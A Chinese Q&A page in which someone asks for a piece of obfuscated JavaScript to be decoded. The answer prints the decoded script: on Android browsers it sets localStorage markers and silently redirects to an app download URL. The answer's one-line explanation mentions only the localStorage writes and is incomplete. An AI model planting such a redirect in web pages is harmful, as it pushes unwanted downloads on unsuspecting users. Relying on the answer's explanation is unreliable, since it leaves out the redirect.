这段js代码解密,并说明这是要做什么用,是什么样的加密方法

2025-02-27 20:04:12
推荐回答(1个)
回答1:

原始代码如下:

window.addEventListener('load', function() {
    window.setTimeout(function() {
        var a = window.navigator.userAgent;
        if (window.localStorage && a.indexOf('Android') != -1) {
            var b = window.localStorage;
            var c = new Array();
            c[0] = new Array('lequ_app_sg', 'lequSGUser', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[1] = new Array('lequ_app_ba', 'lequUserBA', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[2] = new Array('lequ_app_bb', 'lequUserBB', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[3] = new Array('lequ_app_bdn', 'lequUserBDN', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[4] = new Array('lequ_app_bs', 'lequUserBS', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[5] = new Array('lequ_app_2345', 'lequUser2345', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[6] = new Array('lequ_app_360', 'lequUser360', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[7] = new Array('lequ_app_kw', 'lequUserKW', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[8] = new Array('lequ_app_op', 'lequUserOP', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[9] = new Array('lequ_app_dk', 'lequUserDK', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            c[10] = new Array('lequ_app_wdj', 'lequUserWDJ', 'http://wap.gtyytgh.com/down.asp?id=127&bid=3');
            for (i = 0; i < c.length; i++) {
                var d = b.getItem(c[i][0]);
                if (d && d.indexOf(d) != -1) {
                    continue;
                } else {
                    b.setItem(c[i][0], c[i][1] + Math.random());
                    window.location.href = c[i][2];
                    break;
                }
            }
        }
    }, 2000);
});


判断 UA 中包含 Android 时,向 localStorage 写入了一些数据。